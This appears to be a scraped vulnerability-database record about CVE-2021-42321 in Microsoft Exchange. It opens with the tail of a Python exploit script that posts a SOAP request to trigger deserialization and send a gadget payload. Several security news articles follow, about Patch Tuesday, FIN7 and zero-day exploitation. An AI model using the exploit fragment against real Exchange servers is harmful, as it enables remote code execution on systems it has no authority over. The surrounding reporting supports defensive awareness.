\tget_client_ext = '''<?xml version=\"1.0\" encoding=\"utf-8\"?>\n \t<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n \t <soap:Header>\n \t\t<t:RequestServerVersion Version=\"Exchange2013\" />\n \t </soap:Header>\n \t <soap:Body>\n \t\t<m:GetClientAccessToken>\n \t\t <m:TokenRequests>\n \t\t\t<t:TokenRequest>\n \t\t\t <t:Id>aaaa</t:Id>\n \t\t\t <t:TokenType>CallerIdentity</t:TokenType>\n \t\t\t</t:TokenRequest>\n \t\t </m:TokenRequests>\n \t\t</m:GetClientAccessToken>\n \t </soap:Body>\n \t</soap:Envelope>\n \t'''\n \n \tres = requests.post(target + \"/ews/exchange.asmx\",\n \t\t\t\tdata=get_client_ext,\n \t\t\t\theaders=headers,\n \t\t\t\t\t\t\tverify=False,\n \t\t\t\t\t\t\tauth=HttpNtlmAuth('%s' % (USER),\n \t\t\t\t\t\t\tPASS))\n \tprint(res.text)\n \tprint(\"\\r\\n\")\n \tprint(\"Triggered deserialization!\\r\\n\\r\\n\")\n \n sendPayload(gadgetData)\n \n\n# Notes\n\nProcess will spawn under the `w3wp.exe` process running `MSExchangeServicesAppPool`.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-42321", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-11T00:00:00", "id": "AKB:EA6AD256-9B4E-4DC6-B230-9ADED3EE40C0", "href": "https://attackerkb.com/topics/4JMe2Y1WSY/cve-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:37:43", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjhBjNHjU-yR3MwrRHvUS9tDvlmZ8hZdIuBZLlTiLvekhf4svlWJy4OELJMXg06rTqKY-p4BvsU0T8jjJl6NFi3ByDa_8Bm2AEF0p-kQEfufx4DTJRrPfnWneln3r_fQXG0mtIGvUKcm_8SWaGbR_SFykKEZokaVBdGvVTWLiVQgnyK_Ae02rDLl0eF>)\n\nMicrosoft on Tuesday kicked off its first set of updates for 2022 by [plugging 96 security holes](<https://msrc.microsoft.com/update-guide/releaseNote/2022-Jan>) across its software ecosystem, while urging customers to prioritize patching for what it calls a critical \"wormable\" vulnerability.\n\nOf the 96 vulnerabilities, nine are rated Critical and 89 are rated Important in severity, with six zero-day publicly known at the time of the release. This is in addition to [29 issues](<https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security>) patched in Microsoft Edge on January 6, 2022. None of the disclosed bugs are listed as under attack.\n\nThe patches cover a swath of the computing giant's portfolio, including Microsoft Windows and Windows Components, Exchange Server, Microsoft Office and Office Components, SharePoint Server, .NET Framework, Microsoft Dynamics, Open-Source Software, Windows Hyper-V, Windows Defender, and Windows Remote Desktop Protocol (RDP).\n\nChief among them is [CVE-2022-21907](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907>) (CVSS score: 9.8), a remote code execution vulnerability rooted in the HTTP Protocol Stack. \"In most situations, an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets,\" Microsoft noted in its advisory.\n\nRussian security researcher Mikhail Medvedev has been credited with discovering and reporting the error, with the Redmond-based company stressing that it's wormable, meaning no user interaction is necessary to trigger and propagate the infection.\n\n\"Although Microsoft has provided an official patch, this CVE is another reminder that software features allow opportunities for attackers to misuse functionalities for malicious acts,\" Danny Kim, principal architect at Virsec, said.\n\nMicrosoft also resolved six zero-days as part of its Patch Tuesday update, two of which are an integration of third-party fixes concerning the open-source libraries curl and libarchive.\n\n * [CVE-2021-22947](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-22947>) (CVSS score: N/A) \u2013 Open-Source curl Remote Code Execution Vulnerability\n * [CVE-2021-36976](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36976>) (CVSS score: N/A) \u2013 Open-Source libarchive Remote Code Execution Vulnerability\n * [CVE-2022-21836](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21836>) (CVSS score: 7.8) \u2013 Windows Certificate Spoofing Vulnerability\n * [CVE-2022-21839](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21839>) (CVSS score: 6.1) \u2013 Windows Event Tracing Discretionary Access Control List Denial of Service Vulnerability\n * [CVE-2022-21874](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21874>) (CVSS score: 7.8) \u2013 Windows Security Center API Remote Code Execution Vulnerability\n * [CVE-2022-21919](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21919>) (CVSS score: 7.0) \u2013 Windows User Profile Service Elevation of Privilege Vulnerability\n\nAnother critical vulnerability of note concerns a remote code execution flaw ([CVE-2022-21849](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21849>), CVSS score: 9.8) in Windows Internet Key Exchange ([IKE](<https://en.wikipedia.org/wiki/Internet_Key_Exchange>)) version 2, which Microsoft said could be weaponized by a remote attacker to \"trigger multiple vulnerabilities without being authenticated.\"\n\nOn top of that, the patch also remediates a number of remote code execution flaws affecting Exchange Server, Microsoft Office ([CVE-2022-21840](<https://cve-2022-21840>)), SharePoint Server, RDP ([CVE-2022-21893](<https://www.cyberark.com/resources/threat-research-blog/attacking-rdp-from-inside>)), and Windows Resilient File System as well as privilege escalation vulnerabilities in Active Directory Domain Services, Windows Accounts Control, Windows Cleanup Manager, and Windows Kerberos, among others.\n\nIt's worth stressing that CVE-2022-21907 and the three shortcomings uncovered in [Exchange Server](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) ([CVE-2022-21846](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21846>), [CVE-2022-21855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21855>), and [CVE-2022-21969](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21969>), CVSS scores: 9.0) have all been labeled as \"exploitation more likely,\" necessitating that the patches are applied immediately to counter potential real-world attacks targeting the weaknesses. The U.S. National Security Agency (NSA) has been acknowledged for flagging CVE-2022-21846.\n\n\"This massive Patch Tuesday comes during a time of chaos in the security industry whereby professionals are working overtime to remediate [Log4Shell](<https://thehackernews.com/2022/01/microsoft-warns-of-continued-attacks.html>) \u2014 reportedly the worst vulnerability seen in decades,\" Bharat Jogi, director of vulnerability and threat Research at Qualys, said.\n\n\"Events such as Log4Shell [\u2026] bring to the forefront the importance of having an automated inventory of everything that is used by an organization in their environment,\" Jogi added, stating \"It is the need of the hour to automate deployment of patches for events with defined schedules (e.g., MSFT Patch Tuesday), so security professionals can focus energy to respond efficiently to unpredictable events that pose dastardly risk.\"\n\n### Software Patches from Other Vendors\n\nBesides Microsoft, security updates have also been released by other vendors to rectify several vulnerabilities, counting \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html>)\n * [Android](<https://source.android.com/security/bulletin/2022-01-01>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * [Google Chrome](<https://thehackernews.com/2022/01/google-releases-new-chrome-update-to.html>)\n * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&channel=SECURITY_ADVISORIES>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2022-January/thread.html>)\n * Mozilla [Firefox](<https://www.mozilla.org/en-US/security/advisories/mfsa2022-01/>), [Firefox ESR](<https://www.mozilla.org/en-US/security/advisories/mfsa2022-02>), and [Thunderbird](<https://www.mozilla.org/en-US/security/advisories/mfsa2022-03/>)\n * [Samba](<https://www.samba.org/samba/history/security.html>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=596902035>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n * [VMware](<https://thehackernews.com/2022/01/vmware-patches-important-bug-affecting.html>), and\n * [WordPress](<https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-12T06:42:00", "type": "thn", "title": "First Patch Tuesday of 2022 Brings Fix for a Critical 'Wormable' Windows Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22947", "CVE-2021-36976", "CVE-2022-21836", "CVE-2022-21839", "CVE-2022-21840", "CVE-2022-21846", "CVE-2022-21849", "CVE-2022-21855", "CVE-2022-21874", "CVE-2022-21893", "CVE-2022-21907", "CVE-2022-21919", "CVE-2022-21969"], "modified": "2022-01-16T08:40:23", "id": "THN:00A15BC93C4697B74FA1D56130C0C35E", "href": "https://thehackernews.com/2022/01/first-patch-tuesday-of-2022-brings-fix.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-26T12:10:08", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgu9YKd02vdFX9q7nH_mj_COAplqIClED8G3-bIqGZfD9uEAVx2YkW4pnR4oTHEKnrj9qtpM11W6mYLnGXvGxEt9IFdVd2PCh0jnop8BOe_IT_acIv-VKs3Q-JjeXkZPvJplINEolBZljwID-Ev26al_uOtbkyFHFd7atp9dyswl66CcZIVuWykjyr6wg/s728-rj-e365/cyber.png>)\n\nAn exhaustive analysis of **FIN7** has unmasked the cybercrime syndicate's organizational hierarchy, alongside unraveling its role as an affiliate for mounting ransomware attacks.\n\nIt has also exposed deeper associations between the group and the larger threat ecosystem comprising the now-defunct ransomware [DarkSide](<https://thehackernews.com/2022/05/us-proposes-1-million-fine-on-colonial.html>), [REvil](<https://thehackernews.com/2022/05/new-revil-samples-indicate-ransomware.html>), and [LockBit](<https://thehackernews.com/2022/11/amadey-bot-spotted-deploying-lockbit-30.html>) families.\n\nThe highly active threat group, also known as Carbanak, is [known](<https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html>) for employing an extensive arsenal of tools and tactics to expand its \"cybercrime horizons,\" including adding ransomware to its playbook and setting up fake security companies to lure researchers into conducting ransomware attacks under the guise of penetration testing.\n\nMore than 8,147 victims have been compromised by the financially motivated adversary across the world, with a majority of the entities located in the U.S. Other prominent countries include China, Germany, Canada, Italy, and the U.K.\n\nFIN7's intrusion techniques, over the years, have further diversified beyond traditional social engineering to include infected USB drives, software supply chain compromise, and the use of stolen credentials purchased from underground markets.\n\n\"Nowadays, its initial approach is to carefully pick high-value companies from the pool of already compromised enterprise systems and force them to pay large ransoms to restore their data or seek unique ways to monetize the data and remote access,\" PRODAFT [said](<https://www.prodaft.com/resource/detail/fin7-unveiled-deep-dive-notorious-cybercrime-gang>) in a report shared with The Hacker News.\n\nAccording to the Swiss cybersecurity company, the Russian-speaking hacking crew has also been observed to weaponize several flaws in Microsoft Exchange such as [CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>), [CVE-2021-42321](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>), [ProxyLogon, and ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) to obtain a foothold into target environments.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhXWJSj-lP5zgkimydTc-CwuBckZJpMoZ8KlEOqjTK1s14n8Ry6x7NcJHE6iuaC2p2llH7aphAnF9AGSkY-IMY3ofTAKq1rATS5XB5z-Fnxh6v2Lr3_wmyfCwBsAALRjmoyzwRDHWnMfGyS3UC_ftVWp1CnJeC09vF4HmeUbM2J0Y7BwIeouLTThKTe/s728-rj-e365/fin7.png>)\n\nThe use of [double extortion tactics](<https://thehackernews.com/2022/12/cuba-ransomware-extorted-over-60.html>) notwithstanding, attacks mounted by the group have deployed SSH backdoors on the compromised systems, even in scenarios where the victim has already paid a ransom.\n\nThe idea is to resell access to other ransomware outfits and re-target the victims as part of its illicit money-making scheme, underscoring its attempts to minimize efforts and maximize profits, not to mention prioritize companies based on their annual revenues, founded dates, and the number of employees.\n\nThis \"demonstrates a particular type of feasibility study considered a unique behavior among cybercrime groups,\" the researchers said.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1L6lSPfanTW7NwX9INlkaghoZj0MyjyyCHu7VJ2WOAB0-a8ipVazPaPiLkSPVkIBBeBrgcnwVzrKGh7hIH0N52sNHSgp7Vbg9K4Rqm_6NIALFtTqkkLtv6AkE8lDtTL7ZEb5WVXABPi3XMY0clFfTSBtJq_7t66O_imTe8dVlT7-vL0MHcB3e1LBL/s728-rj-e365/data.png>)\n\nPut differently, the modus operandi of FIN7 boils down to this: It utilizes services like Crunchbase, Dun &amp; Bradstreet (DNB), Owler, and Zoominfo to shortlist firms and organizations with the highest revenue. It also uses other website analytics platforms like MuStat and Similarweb to monitor traffic to the victims' sites.\n\nInitial access is then obtained through one of the many intrusion vectors, followed by exfiltrating data, encrypting files, and eventually determining the ransom amount based on the company's revenue.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhQwT6VXETxCd7gYcc7Yd03MnZ7nA_L948mXUJkAgn4SOwbIKEi30eZGf2YXgDN1QA6ak7etSe1368r_b5rgcDyV09jIQcKz5GDMmpp_UKs4886x6Kuq9llZuCFuz8reUq22aBAZ38FrxOOFeTSJLmECsaMukFx9rTLqxuCz3Zl5ijc2Cr1ucglgif1/s728-rj-e365/map.png>)\n\nThese infection sequences are also designed to load remote access trojans such as [Carbanak](<https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html>), [Lizar](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>) (aka Tirion), and [IceBot](<https://www.recordedfuture.com/fin7-flash-drives-spread-remote-access-trojan>), the latter of which was first documented by Recorded Future-owned Gemini Advisory in January 2022.\n\nOther tools developed and delivered by FIN7 encompass a module dubbed Checkmarks that's orchestrated to automate mass scans for vulnerable Microsoft Exchange servers and other public-facing web applications as well as [Cobalt Strike](<https://thehackernews.com/2022/11/google-identifies-34-cracked-versions.html>) for post-exploitation.\n\nIn yet another indication that criminal groups [function like traditional companies](<https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html>), FIN7 follows a team structure consisting of top-level management, developers, pentesters, affiliates, and marketing teams, each of whom are tasked with individual responsibilities.\n\nWhile two members named Alex and Rash are the chief players behind the operation, a third managerial member named Sergey-Oleg is responsible for delegating duties to the group's other associates and overseeing their execution.\n\nHowever, an examination of the group's Jabber conversation history has revealed that operators in administrator positions engage in coercion and blackmail to intimidate team members into working more and issue ultimatums to \"hurt their family members in case of resigning or escaping from responsibilities.\"\n\nThe findings come more than a month after cybersecurity company SentinelOne [identified](<https://thehackernews.com/2022/11/researchers-find-links-bw-black-basta.html>) potential links between FIN7 and the Black Basta ransomware operation.\n\n\"FIN7 has established itself as an extraordinarily versatile and well-known APT group that targets enterprise companies,\" PRODAFT concluded. \"Their signature move is to thoroughly research the companies based on their revenue, employee count, headquarters and website information to pinpoint the most profitable targets.\"\n\n\"Although they have internal issues related to the unequal distribution of obtained monetary resources and somewhat questionable practices towards their members, they have managed to establish a strong presence in the cybercrime sphere.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-22T13:13:00", "type": "thn", "title": "FIN7 Cybercrime Syndicate Emerges as a Major Player in Ransomware Landscape", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-42321"], "modified": "2022-12-26T11:59:04", "id": "THN:CE51F3F4A94EFC268FD06200BF55BECD", "href": "https://thehackernews.com/2022/12/fin7-cybercrime-syndicate-emerges-as.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-12-14T04:09:19", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjTxKfxj2a6lMbDbJaMo5tht_LOymmcrKcCWFtR24mQo74TUahCanF09uTukayi4zQWtyXbBN6gL1r8Q_F8hPVGvbFPUvpNfu0RMdh_in3x47i7NaY_2APPaDC8WmxtnyovksaoophnnKee-_hL8d3KTmywDQksxEixb5Qu7Hqf3_NL3lzttzW4eVJp/s728-e100/ms.jpg>)\n\nMicrosoft is warning of an uptick among nation-state and criminal actors increasingly leveraging publicly-disclosed zero-day vulnerabilities for breaching target environments.\n\nThe tech giant, in its 114-page [Digital Defense Report](<https://www.microsoft.com/en-us/security/business/microsoft-digital-defense-report-2022>), said it has \"observed a reduction in the time between the announcement of a vulnerability and the commoditization of that vulnerability,\" making it imperative that organizations patch such exploits in a timely manner.\n\nThis also corroborates with an April 2022 advisory from the U.S. Cybersecurity and Infrastructure Security Agency (CISA), which [found](<https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html>) that bad actors are \"aggressively\" targeting newly disclosed software bugs against broad targets globally.\n\nMicrosoft noted that it only takes 14 days on average for an exploit to be available in the wild after public disclosure of a flaw, stating that while zero-day attacks are initially limited in scope, they tend to be swiftly adopted by other threat actors, leading to indiscriminate probing events before the patches are installed.\n\nIt further accused Chinese state-sponsored groups of being \"particularly proficient\" at discovering and developing zero-day exploits.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj2Fv84B8E1NDduixEzAgNyU-RvvdpVt2eY23UON-dCns8KnaaAn-rqjv_Tihoscf0lzJzcswmhacAZgW8Jdh82sqVfWIDHVa5zBDWPlh_uT7dLVU8BmoLqbWxqL-deV3Ok2yZ8h76dqXIbZ3SIOJJND7p6ixLGZmV_q9RpnvhYkQ9ABNMKZOdjtetP/s728-e100/exploit.jpg>)\n\nThis has been compounded by the fact that the Cyberspace Administration of China (CAC) enacted a new [vulnerability reporting regulation](<https://thehackernews.com/2021/07/chinas-new-law-requires-researchers-to.html>) in September 2021 that requires security flaws to be reported to the government prior to them being shared with the product developers.\n\nRedmond further said the law could enable government-backed elements to stockpile and weaponize the reported bugs, resulting in the increased use of zero-days for espionage activities designed to advance China's economic and military interests.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjzThAws7Nwe2onkDTrV1eAUZuHoxUQmHQD89fb1AMyF95hzxM_bjDK2t9-CUBtPHmaWAaGh6oLRZRmlWELsneZ9fLS1yThyXWXTF3Vhb67iMNcw8AvGM2hLy535BKjYA6NJ8csrauUfJWp6VGl-g4LRpHIAsWQ1E7ev0MDFndlR4i_R0-xqgivOOTY/s728-e100/map.jpg>)\n\nSome of the vulnerabilities that were first exploited by Chinese actors before being picked up by other adversarial groups include -\n\n * [**CVE-2021-35211**](<https://thehackernews.com/2021/09/microsoft-says-chinese-hackers-were.html>) (CVSS score: 10.0) - A remote code execution flaw in SolarWinds Serv-U Managed File Transfer Server and Serv-U Secure FTP software that was exploited by DEV-0322.\n * [**CVE-2021-40539**](<https://thehackernews.com/2021/11/experts-detail-malicious-code-dropped.html>) (CVSS score: 9.8) - An authentication bypass flaw in Zoho ManageEngine ADSelfService Plus that was exploited by DEV-0322 (TiltedTemple).\n * [**CVE-2021-44077**](<https://thehackernews.com/2021/12/cisa-warns-of-actively-exploited.html>) (CVSS score: 9.8) - An unauthenticated remote code execution flaw in Zoho ManageEngine ServiceDesk Plus that was exploited by DEV-0322 (TiltedTemple).\n * [**CVE-2021-42321**](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>) (CVSS score: 8.8) - A remote code execution flaw in Microsoft Exchange Server that was exploited three days after it was revealed during the [Tianfu Cup](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) hacking contest on October 16-17, 2021.\n * [**CVE-2022-26134**](<https://thehackernews.com/2022/06/hackers-exploiting-unpatched-critical.html>) (CVSS score: 9.8) - An Object-Graph Navigation Language (OGNL) injection flaw in Atlassian Confluence that's likely to have been leveraged by a China-affiliated actor against an unnamed U.S. entity days before the flaw's disclosure on June 2.\n\nThe findings also come almost a month after CISA released a list of [top vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-279a>) weaponized by China-based actors since 2020 to steal intellectual property and develop access into sensitive networks.\n\n\"Zero-day vulnerabilities are a particularly effective means for initial exploitation and, once publicly exposed, vulnerabilities can be rapidly reused by other nation-state and criminal actors,\" the company said.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-11-05T06:00:00", "type": "thn", "title": "Microsoft Warns of Uptick in Hackers Leveraging Publicly-Disclosed 0-Day Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-35211", "CVE-2021-40539", "CVE-2021-42321", "CVE-2021-44077", "CVE-2022-26134"], "modified": "2022-12-14T04:04:34", "id": "THN:FD9FEFEA9EB66115FF4BAECDD8C520CB", "href": "https://thehackernews.com/2022/11/microsoft-warns-of-uptick-in-hackers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:08", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhrn2bWy7kjDMwA-e1FgvQFFMgrMtX-KgrErvJPqeWzafsVSb1_k78GC6nholdd_d2DbzcYuqf98udpn_wTk-_6KFu5RQPIErnTKIVlDcjYP53gT98kJt8q8r27D7qssyXxYP4p6fp_cLi19zCXc74h2z5whc0gh3HlD5MkZY7amV1fGnZgsthUv_op>)\n\nMicrosoft has released security updates as part of its monthly [Patch Tuesday](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Nov>) release cycle to address 55 vulnerabilities across Windows, Azure, Visual Studio, Windows Hyper-V, and Office, including fixes for two actively exploited zero-day flaws in Excel and Exchange Server that could be abused to take control of an affected system.\n\nOf the 55 glitches, six are rated Critical and 49 are rated as Important in severity, with four others listed as publicly known at the time of release. \n\nThe most critical of the flaws are [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321>) (CVSS score: 8.8) and [CVE-2021-42292](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42292>) (CVSS score: 7.8), each concerning a [post-authentication remote code execution flaw](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169>) in Microsoft Exchange Server and a security bypass vulnerability impacting Microsoft Excel versions 2013-2021 respectively.\n\nThe Exchange Server issue is also one of the bugs that was demonstrated at the [Tianfu Cup](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) held in China last month. However, the Redmond-based tech giant did not provide any details on how the two aforementioned vulnerabilities were used in real-world attacks.\n\n\"Earlier this year, Microsoft alerted that APT Group HAFNIUM was exploiting [four zero-day vulnerabilities](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) in the Microsoft Exchange server,\" said Bharat Jogi, director of vulnerability and threat research at Qualys.\n\n\"This evolved into exploits of Exchange server vulnerabilities by DearCry Ransomware \u2014 including attacks on infectious disease researchers, law firms, universities, defense contractors, policy think tanks and NGOs. Instances such as these further underscore that Microsoft Exchange servers are high-value targets for hackers looking to penetrate critical networks,\" Jogi added.\n\nAlso addressed are four publicly disclosed, but not exploited, vulnerabilities \u2014\n\n * [**CVE-2021-43208**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43208>) (CVSS score: 7.8) - 3D Viewer Remote Code Execution Vulnerability\n * [**CVE-2021-43209**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43209>) (CVSS score: 7.8) - 3D Viewer Remote Code Execution Vulnerability\n * [**CVE-2021-38631**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38631>) (CVSS score: 4.4) - Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability\n * [**CVE-2021-41371**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41371>) (CVSS score: 4.4) - Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability\n\nMicrosoft's November patch also comes with a resolution for [CVE-2021-3711](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-3711>), a critical buffer overflow flaw in [OpenSSL's SM2 decryption function](<https://thehackernews.com/2021/09/qnap-working-on-patches-for-openssl.html>) that came to light in late August 2021 and could be abused by adversaries to run arbitrary code and cause a denial-of-service (DoS) condition.\n\nOther important remediations include fixes for multiple remote code execution flaws in Chakra Scripting Engine ([CVE-2021-42279](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42279>)), Microsoft Defender ([CVE-2021-42298](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42298>)), Microsoft Virtual Machine Bus 